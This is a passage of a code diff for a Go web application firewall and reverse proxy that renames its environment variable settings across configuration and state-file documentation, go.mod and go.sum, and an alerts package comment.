- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
- `SWW_ANOMALY_TOTAL_...`: the whole service.
|
||||||
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
|
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
|
||||||
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
|
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
|
||||||
(default empty) is a list of name, `=` and netblock, such as
|
|
||||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||||
name, or with a bad netblock, is refused. So is a name used twice.
|
name, or with a bad netblock, is refused. So is a name used twice.
|
||||||
|
|
||||||
@@ -418,7 +379,7 @@ Then mount its directory into the container read-only, and name the file:
|
|||||||
docker run \
|
docker run \
|
||||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||||
-e SWW_COMMAND=waf \
|
-e SWW_COMMAND=waf \
|
||||||
-e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -441,54 +402,51 @@ A few limits are fixed rather than settings:
|
|||||||
|
|
||||||
## `waf`'s answer and `rproxy`'s wait
|
## `waf`'s answer and `rproxy`'s wait
|
||||||
|
|
||||||
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
|
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||||
an outside source. Keep it well under `rproxy`'s
|
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||||
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for
|
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||||
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
|
in the background (see "Answering in time" under "`waf`" in
|
||||||
asked in the background (see "Answering in time" under "`waf`" in
|
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## `rproxy`
|
## `rproxy`
|
||||||
|
|
||||||
`sww rproxy` reads the settings below and no others. They are read once at
|
`sww rproxy` reads the settings below and no others. They are read once at
|
||||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
start, and an invalid value stops the start. None can be given as a file, since
|
||||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
|
||||||
|
they do.
|
||||||
|
|
||||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
|
||||||
speaks HTTP/1.1 to it.
|
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
|
||||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
URL with a host and an optional port, and nothing more. `rproxy` speaks
|
||||||
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
HTTP/1.1 to it.
|
||||||
never `off`.
|
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
||||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
answer, to a question and to a report. A time; never `off`.
|
||||||
with a request when `waf` cannot be connected to, does not answer at all, or
|
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||||
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
`waf` cannot be connected to, does not answer at all, or does not answer
|
||||||
to the app, and `deny` answers `503`. It does not apply to an answer `waf`
|
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
|
||||||
gives, such as an error.
|
`503`. It does not apply to an answer `waf` gives, such as an error.
|
||||||
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||||
size or `off`.
|
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
|
||||||
size or `off`.
|
|
||||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
|
||||||
take to send its request line and headers. It then also bounds, from the end
|
|
||||||
of the headers, the time until the app has been sent the whole request. A time
|
|
||||||
in milliseconds or `off`.
|
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
|
||||||
take, from the end of the request to its last byte reaching the visitor. An
|
|
||||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
|
||||||
do the status and headers of the app's answer. A time in milliseconds or
|
|
||||||
`off`.
|
`off`.
|
||||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||||
`:9000`.
|
`off`.
|
||||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
|
||||||
`http` or `https` URL with a host and an optional port, and nothing more.
|
send its request line and headers. It then also bounds, from the end of the
|
||||||
- `SWW_RPROXY_TRUSTED_PROXIES` (default
|
headers, the time until the app has been sent the whole request. A time or
|
||||||
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
|
`off`.
|
||||||
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
|
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||||
outside these netblocks cannot claim another address. Where other containers
|
from the end of the request to its last byte reaching the visitor. An answer
|
||||||
reach `rproxy` directly, or visitors on a private network reach traefik, they
|
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the
|
||||||
can name another address in the header. Narrowing the setting to traefik's own
|
status and headers of the app's answer. A time or `off`.
|
||||||
network closes that gap.
|
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||||
|
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||||
|
`https` URL with a host and an optional port, and nothing more.
|
||||||
|
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
|
||||||
|
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
|
||||||
|
nothing. A client outside these netblocks cannot claim another address. Where
|
||||||
|
other containers reach `rproxy` directly, or visitors on a private network
|
||||||
|
reach traefik, they can name another address in the header. Narrowing the
|
||||||
|
setting to traefik's own network closes that gap.
|
||||||
|
|
||||||
## The image's command
|
## The image's command
|
||||||
|
|
||||||
@@ -500,14 +458,14 @@ It cannot be given as a file.
|
|||||||
|
|
||||||
Nothing reads these names any more:
|
Nothing reads these names any more:
|
||||||
|
|
||||||
- `SWW_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
|
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
||||||
- `SWW_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
|
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
||||||
- `SWW_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
|
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
||||||
- `SWW_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
|
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
||||||
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
||||||
`SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
|
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||||
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||||
`SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||||
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
||||||
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
||||||
takes a request line and headers of at most 32 KiB.
|
takes a request line and headers of at most 32 KiB.
|
||||||
+10
-10
@@ -4,15 +4,15 @@ The JSON files `waf` keeps, and what each holds. "Persistent state" in
|
|||||||
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
||||||
top-level `version` of 1.
|
top-level `version` of 1.
|
||||||
|
|
||||||
- The state files are in `SWW_WAF_STATE_DIR`, `/var/lib/sww` by default. They
|
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
|
||||||
hold what cannot be fetched again, so back them up:
|
what cannot be fetched again, so back them up:
|
||||||
- `bans.json`;
|
- `bans.json`;
|
||||||
- `clients.json`;
|
- `clients.json`;
|
||||||
- `abuseipdb-checks-spent.json`;
|
- `abuseipdb-checks-spent.json`;
|
||||||
- `alerts.json`.
|
- `alerts.json`.
|
||||||
- The cache files are in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default. They
|
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
||||||
hold answers from outside services, which are asked again when a file is lost,
|
answers from outside services, which are asked again when a file is lost, so
|
||||||
so the directory can be left out of backups:
|
the directory can be left out of backups:
|
||||||
- `lookups.json`;
|
- `lookups.json`;
|
||||||
- `lists.json`;
|
- `lists.json`;
|
||||||
- `dnsbl.json`;
|
- `dnsbl.json`;
|
||||||
@@ -21,8 +21,8 @@ top-level `version` of 1.
|
|||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
|
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||||
those `waf` made. Per entry:
|
`waf` made. Per entry:
|
||||||
|
|
||||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||||
@@ -146,10 +146,10 @@ A cache file. routewatch's answers from the last hour, one per line:
|
|||||||
## Sizes
|
## Sizes
|
||||||
|
|
||||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||||
`SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
|
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
||||||
of disk writes a day.
|
disk writes a day.
|
||||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||||
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||||
more.
|
more.
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
|
|||||||
@@ -11,14 +11,12 @@ require (
|
|||||||
github.com/maxmind/mmdbwriter v1.2.0
|
github.com/maxmind/mmdbwriter v1.2.0
|
||||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
||||||
github.com/prometheus/client_golang v1.24.1
|
github.com/prometheus/client_golang v1.24.1
|
||||||
github.com/spf13/viper v1.21.0
|
|
||||||
)
|
)
|
||||||
|
|
||||||
require (
|
require (
|
||||||
github.com/beorn7/perks v1.0.1 // indirect
|
github.com/beorn7/perks v1.0.1 // indirect
|
||||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||||
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
||||||
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
|
||||||
github.com/goccy/go-json v0.10.5 // indirect
|
github.com/goccy/go-json v0.10.5 // indirect
|
||||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
github.com/goccy/go-yaml v1.19.2 // indirect
|
||||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
||||||
@@ -28,22 +26,14 @@ require (
|
|||||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||||
github.com/magefile/mage v1.17.0 // indirect
|
github.com/magefile/mage v1.17.0 // indirect
|
||||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||||
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
|
|
||||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
||||||
github.com/prometheus/client_model v0.6.2 // indirect
|
github.com/prometheus/client_model v0.6.2 // indirect
|
||||||
github.com/prometheus/common v0.70.1 // indirect
|
github.com/prometheus/common v0.70.1 // indirect
|
||||||
github.com/prometheus/procfs v0.21.1 // indirect
|
github.com/prometheus/procfs v0.21.1 // indirect
|
||||||
github.com/sagikazarmark/locafero v0.11.0 // indirect
|
|
||||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
|
|
||||||
github.com/spf13/afero v1.15.0 // indirect
|
|
||||||
github.com/spf13/cast v1.10.0 // indirect
|
|
||||||
github.com/spf13/pflag v1.0.10 // indirect
|
|
||||||
github.com/subosito/gotenv v1.6.0 // indirect
|
|
||||||
github.com/tidwall/gjson v1.18.0 // indirect
|
github.com/tidwall/gjson v1.18.0 // indirect
|
||||||
github.com/tidwall/match v1.1.1 // indirect
|
github.com/tidwall/match v1.1.1 // indirect
|
||||||
github.com/tidwall/pretty v1.2.1 // indirect
|
github.com/tidwall/pretty v1.2.1 // indirect
|
||||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
||||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
|
||||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||||
golang.org/x/net v0.60.0 // indirect
|
golang.org/x/net v0.60.0 // indirect
|
||||||
golang.org/x/sync v0.23.0 // indirect
|
golang.org/x/sync v0.23.0 // indirect
|
||||||
|
|||||||
@@ -16,12 +16,8 @@ github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x
|
|||||||
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
||||||
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
||||||
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
||||||
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
|
||||||
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
|
||||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||||
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
|
||||||
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
|
||||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||||
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
||||||
@@ -42,10 +38,6 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
|
|||||||
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
||||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
|
||||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
|
||||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
|
||||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
|
||||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||||
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
||||||
@@ -70,24 +62,8 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
|
|||||||
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
||||||
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
||||||
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
||||||
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
|
||||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
|
||||||
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
|
|
||||||
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
|
|
||||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
|
|
||||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
|
|
||||||
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
|
|
||||||
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
|
|
||||||
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
|
|
||||||
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
|
|
||||||
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
|
||||||
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
|
||||||
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
|
|
||||||
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
|
|
||||||
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
||||||
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
||||||
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
|
|
||||||
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
|
|
||||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
||||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||||
|
|||||||
+30
-30
@@ -1,12 +1,12 @@
|
|||||||
// Package alerts sends alerts on bans, on traffic over an anomaly
|
// Package alerts sends alerts on bans, on traffic over an anomaly
|
||||||
// threshold, on a source that fails and on a file with an error to each
|
// threshold, on a source that fails and on a file with an error to each
|
||||||
// destination set: to the webhook
|
// destination set: to the webhook
|
||||||
// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||||
// object" in docs/alerts.md describes, to the Slack incoming
|
// object" in docs/alerts.md describes, to the Slack incoming
|
||||||
// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||||
// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
|
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
|
||||||
// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
|
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
|
||||||
// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||||
// bounded queue of each destination's own, so that a destination that is
|
// bounded queue of each destination's own, so that a destination that is
|
||||||
// slow or unreachable holds up neither the others nor any request. The
|
// slow or unreachable holds up neither the others nor any request. The
|
||||||
// state is written to alerts.json and read from it by the state package.
|
// state is written to alerts.json and read from it by the state package.
|
||||||
@@ -34,7 +34,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
|
// The events an alert is for, as SWW_ALERT_EVENTS names them.
|
||||||
const (
|
const (
|
||||||
// EventBan is a ban sww made.
|
// EventBan is a ban sww made.
|
||||||
EventBan = "ban"
|
EventBan = "ban"
|
||||||
@@ -45,7 +45,7 @@ const (
|
|||||||
// threshold.
|
// threshold.
|
||||||
EventAnomaly = "anomaly"
|
EventAnomaly = "anomaly"
|
||||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||||
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
|
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||||
// detect mode.
|
// detect mode.
|
||||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||||
// EventReputationHit is a request whose client a blocklist, the
|
// EventReputationHit is a request whose client a blocklist, the
|
||||||
@@ -63,14 +63,14 @@ const (
|
|||||||
// - a replacement of the lookup database that cannot be read.
|
// - a replacement of the lookup database that cannot be read.
|
||||||
EventFileError = "file_error"
|
EventFileError = "file_error"
|
||||||
